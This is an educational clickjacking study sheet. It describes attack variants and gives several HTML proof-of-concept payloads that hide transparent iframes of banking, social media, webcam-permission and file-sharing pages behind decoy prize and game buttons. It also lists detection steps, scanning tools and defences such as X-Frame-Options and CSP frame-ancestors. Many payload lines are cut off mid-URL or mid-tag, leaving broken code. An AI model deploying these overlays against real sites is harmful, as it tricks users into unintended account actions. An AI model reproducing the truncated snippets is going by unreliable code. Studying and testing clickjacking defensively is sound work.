Clickjacking - Security Study Sheet

Definition

Clickjacking (also known as UI redressing attack) is a malicious technique where an attacker tricks a user into clicking on something different from what the user perceives, potentially revealing confidential information or allowing others to take control of their computer while clicking on seemingly innocuous objects, including web pages.

Types and Categories

1. Classic Clickjacking

- **Description**: Basic iframe-based attack hiding the target page
- **Characteristics**:
  - Uses transparent iframes
  - Overlays malicious content
  - User clicks unknowingly on hidden elements

2. Likejacking

- **Description**: Specifically targets social media "like" buttons
- **Characteristics**:
  - Tricks users into liking/sharing content
  - Often spreads malicious content
  - Exploits social media engagement

3. Cursorjacking

- **Description**: Manipulates cursor position perception
- **Characteristics**:

- Shows fake cursor position
- User clicks different location than intended
- Complex CSS/JavaScript manipulation

4. Strokejacking

- **Description**: Captures keyboard input through hidden elements
- **Characteristics**:
  - Invisible form fields
  - Steals keystrokes
  - Often combined with clickjacking

5. Drag and Drop Clickjacking

- **Description**: Exploits drag-and-drop functionality
- **Characteristics**:
  - Tricks users into dragging sensitive data
  - Can extract files or text
  - Browser-specific implementation

6. Touch-based Clickjacking

- **Description**: Mobile-specific clickjacking attacks
- **Characteristics**:
  - Exploits touch interfaces
  - Gesture-based attacks
  - App permission exploitation

7. Scrolljacking

- **Description**: Manipulates scroll behavior for malicious purposes
- **Characteristics**:

- Controls page scrolling
- Reveals hidden content
- Navigation hijacking

Realistic Example Payloads

Basic Clickjacking Frame

```html
<!DOCTYPE html>
<html>
<head>
    <style>
        iframe {
            width: 500px;
            height: 500px;
            opacity: 0.1; /* Nearly transparent */
            position: absolute;
            top: 100px;
            left: 100px;
            z-index: 2;
        }
        .decoy {
            position: absolute;
            top: 100px;
            left: 100px;
            z-index: 1;
        }
    </style>
</head>
<body>
    <div class="decoy">
        <h2>Click here for FREE MONEY!</h2>
        <button>GET $1000 NOW!</button>
    </div>
    <iframe src="https://victim-site.com/delete-account"></iframe
</body>
</html>
```

Advanced Transparent Overlay

html

```html
<!DOCTYPE html>
<html>
<head>
    <style>
        .victim-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.001; /* Nearly invisible */
            z-index: 1000;
            border: none;
        }
        .fake-content {
            position: absolute;
            top: 200px;
            left: 300px;
            z-index: 1;
            font-family: Arial, sans-serif;
        }
        .fake-button {
            background: #ff4444;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 5px;
            font-size: 18px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <div class="fake-content">
        <h1>WIN A NEW IPHONE!</h1>
        <p>Click the button below to claim your prize!</p>
        <button class="fake-button">CLAIM PRIZE NOW!</button>
    </div>
```

```
    <iframe class="victim-frame" src="https://banking-site.com/tr
</body>
</html>
```

Likejacking Attack

html

```
<!DOCTYPE html>
<html>
<head>
    <style>
        iframe {
            width: 80px;
            height: 22px;
            opacity: 0;
            position: absolute;
            top: 200px;
            left: 250px;
            z-index: 2;
        }
        .fake-game {
            position: absolute;
            top: 180px;
            left: 200px;
            z-index: 1;
        }
    </style>
</head>
<body>
    <div class="fake-game">
        <h2>Pop the Balloon Game!</h2>
        <div style="font-size: 50px; cursor: pointer;">🎈</div>
        <p>Click the balloon to pop it!</p>
    </div>
    <iframe src="https://facebook.com/plugins/like.php?href=https
</body>
</html>
```

Double Clickjacking

html

```html
<!DOCTYPE html>
<html>
<head>
    <style>
        .frame1, .frame2 {
            position: absolute;
            width: 400px;
            height: 300px;
            opacity: 0.01;
            border: none;
        }
        .frame1 {
            top: 100px;
            left: 100px;
            z-index: 3;
        }
        .frame2 {
            top: 150px;
            left: 150px;
            z-index: 2;
        }
        .decoy {
            position: absolute;
            top: 120px;
            left: 120px;
            z-index: 1;
        }
    </style>
</head>
<body>
    <div class="decoy">
        <h2>Security Check Required</h2>
        <button>Verify Account</button>
        <p>Click to confirm your identity</p>
    </div>
    <iframe class="frame1" src="https://site1.com/enable-webcam">
    <iframe class="frame2" src="https://site2.com/grant-permissio
```

```
</body>
</html>
```

Cursorjacking Example

html

```
<!DOCTYPE html>
<html>
<head>
    <style>
        body { cursor: none; }
        .fake-cursor {
            position: absolute;
            width: 20px;
            height: 20px;
            background: url('
            pointer-events: none;
            z-index: 9999;
        }
        iframe {
            width: 100%;
            height: 100%;
            opacity: 0.01;
            position: absolute;
            top: 0;
            left: 0;
        }
    </style>
</head>
<body>
    <div class="fake-cursor" id="cursor"></div>
    <iframe src="https://victim-site.com/sensitive-action"></ifra

    <script>
        document.addEventListener('mousemove', function(e) {
            var cursor = document.getElementById('cursor');
            // Offset cursor by 50px to fool user
            cursor.style.left = (e.clientX + 50) + 'px';
            cursor.style.top = (e.clientY + 50) + 'px';
        });
```

```
    </script>
</body>
</html>
```

Mobile Touch Clickjacking

html

```
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-sc
    <style>
        .game-area {
            position: relative;
            width: 300px;
            height: 400px;
            background: #87CEEB;
            margin: 50px auto;
            border: 2px solid #000;
        }
        .hidden-frame {
            position: absolute;
            top: 150px;
            left: 100px;
            width: 100px;
            height: 50px;
            opacity: 0;
            z-index: 10;
        }
        .game-element {
            position: absolute;
            top: 150px;
            left: 100px;
            width: 100px;
            height: 50px;
            background: #ff6b6b;
            border-radius: 25px;
            text-align: center;
            line-height: 50px;
            color: white;
```

```
            font-weight: bold;
        }
    </style>
</head>
<body>
    <h1>Mobile Game - Tap the Red Button!</h1>
    <div class="game-area">
        <div class="game-element">TAP ME!</div>
        <iframe class="hidden-frame" src="https://mobile-banking.
    </div>
</body>
</html>
```

File Drag and Drop Clickjacking

html

```
<!DOCTYPE html>
<html>
<head>
    <style>
        .drop-zone {
            width: 400px;
            height: 200px;
            border: 2px dashed #ccc;
            text-align: center;
            padding: 50px;
            margin: 50px auto;
            position: relative;
        }
        .hidden-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 2;
        }
    </style>
</head>
```

```
<body>
    <h2>File Converter - Drag and Drop Files Here</h2>
    <div class="drop-zone">
        <p>Drop your files here to convert them</p>
        <iframe class="hidden-frame" src="https://file-sharing.co
    </div>
</body>
</html>
```

Manual Detection Methods

1. Frame Analysis

- **Method**: Check if site can be framed
- **Steps**:
  1. Create test HTML with iframe pointing to target
  2. Load in browser
  3. Check if content displays
  4. Verify X-Frame-Options header

2. X-Frame-Options Testing

- **Headers to check**:
  - `X-Frame-Options: DENY`
  - `X-Frame-Options: SAMEORIGIN`
  - `X-Frame-Options: ALLOW-FROM https://example.com`

3. Content Security Policy Testing

- **CSP Directives**:
  - `frame-ancestors 'none'`
  - `frame-ancestors 'self'`
  - `frame-ancestors https://trusted.com`

4. Browser Console Inspection

- **Method**: Check for frame-busting JavaScript
- **Look for**:
  - `if (top !== self)` checks
  - `window.top.location` redirects
  - Frame-breaking scripts

5. Developer Tools Analysis

- **Steps**:
  1. Open browser dev tools
  2. Check response headers
  3. Inspect JavaScript for frame protection
  4. Test with different opacity values

6. Automated Testing

- **Method**: Use automated tools to scan multiple pages
- **Check for**:
  - Missing protection headers
  - Vulnerable endpoints
  - Frame-busting bypasses

Recommended Open-Source Tools

1. Clickjacker

- **GitHub**: https://github.com/samyk/clickjacker
- **Description**: Tool for testing clickjacking vulnerabilities
- **Usage**: `python clickjacker.py -u http://example.com`

2. X-Frame-Options Scanner

- **GitHub**: https://github.com/SpiderLabs/xframeoptions
- **Description**: Scans for missing X-Frame-Options headers
- **Usage**: `python xframeoptions.py -u http://example.com`

3. ClickjackPoc

- **GitHub**: https://github.com/D35m0nd142/ClickjackPoc
- **Description**: Generates clickjacking proof-of-concepts
- **Usage**: Web-based PoC generator

4. Burp Suite Community

- **Website**: https://portswigger.net/burp/communitydownload
- **Description**: Web application security testing platform
- **Features**: Manual testing with custom payloads

5. OWASP ZAP

- **GitHub**: https://github.com/zaproxy/zaproxy
- **Description**: Comprehensive security testing proxy
- **Features**: Automated clickjacking detection

6. w3af

- **GitHub**: https://github.com/andresriancho/w3af
- **Description**: Web application attack and audit framework
- **Usage**: Includes clickjacking detection plugins

7. Nuclei

- **GitHub**: https://github.com/projectdiscovery/nuclei
- **Description**: Fast vulnerability scanner

- **Usage**: `nuclei -u http://example.com -t nuclei-templates/misconfiguration/`

8. Nmap NSE Scripts

- **Script**: `http-clickjacking`
- **Usage**: `nmap --script http-clickjacking http://example.com`
- **Description**: Checks for clickjacking vulnerabilities

9. CJScan

- **GitHub**: https://github.com/random-robbie/CJScan
- **Description**: Bulk clickjacking scanner
- **Usage**: `python3 cjscan.py -f urls.txt`

10. Selenium WebDriver

- **GitHub**: https://github.com/SeleniumHQ/selenium
- **Description**: Browser automation for custom testing
- **Usage**: Custom scripts for clickjacking detection

Prevention Techniques

1. X-Frame-Options Header

```http
# Deny all framing
X-Frame-Options: DENY

# Allow only same origin
X-Frame-Options: SAMEORIGIN

# Allow specific origin (deprecated)
X-Frame-Options: ALLOW-FROM https://trusted.com
```

2. Content Security Policy

```http
# Modern approach - no framing
Content-Security-Policy: frame-ancestors 'none';

# Allow same origin
Content-Security-Policy: frame-ancestors 'self';

# Allow specific origins
Content-Security-Policy: frame-ancestors https://trusted.com http
```

3. Frame-busting JavaScript

```javascript
// Basic frame-busting
if (top !== self) {
    top.location = self.location;
}

// More robust version
if (top !== self) {
    try {
        if (top.location.hostname !== self.location.hostname) {
            throw new Error('Clickjacking detected');
        }
    } catch (e) {
        top.location = self.location;
    }
}
```

4. SameSite Cookies

```http
```

```
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
```

Study Tips for Interviews & Certifications

Key Points to Remember:

1. **Impact**: Unauthorized actions, social engineering, data theft
2. **Prevention**: Multiple layers - headers, CSP, JavaScript
3. **Modern context**: Mobile apps, social media, iframe alternatives
4. **Business impact**: Brand reputation, user trust, compliance issues

Common Interview Questions:

- "What's the difference between X-Frame-Options and CSP frame-ancestors?"
- "How would you test for clickjacking vulnerabilities?"
- "Can frame-busting JavaScript be bypassed?"
- "What are the security implications of iframes in modern web apps?"

Practical Demonstration:

Be prepared to create clickjacking PoCs and explain mitigation strategies.

This study sheet covers Clickjacking vulnerabilities comprehensively for security professionals, bug bounty hunters, and cybersecurity students.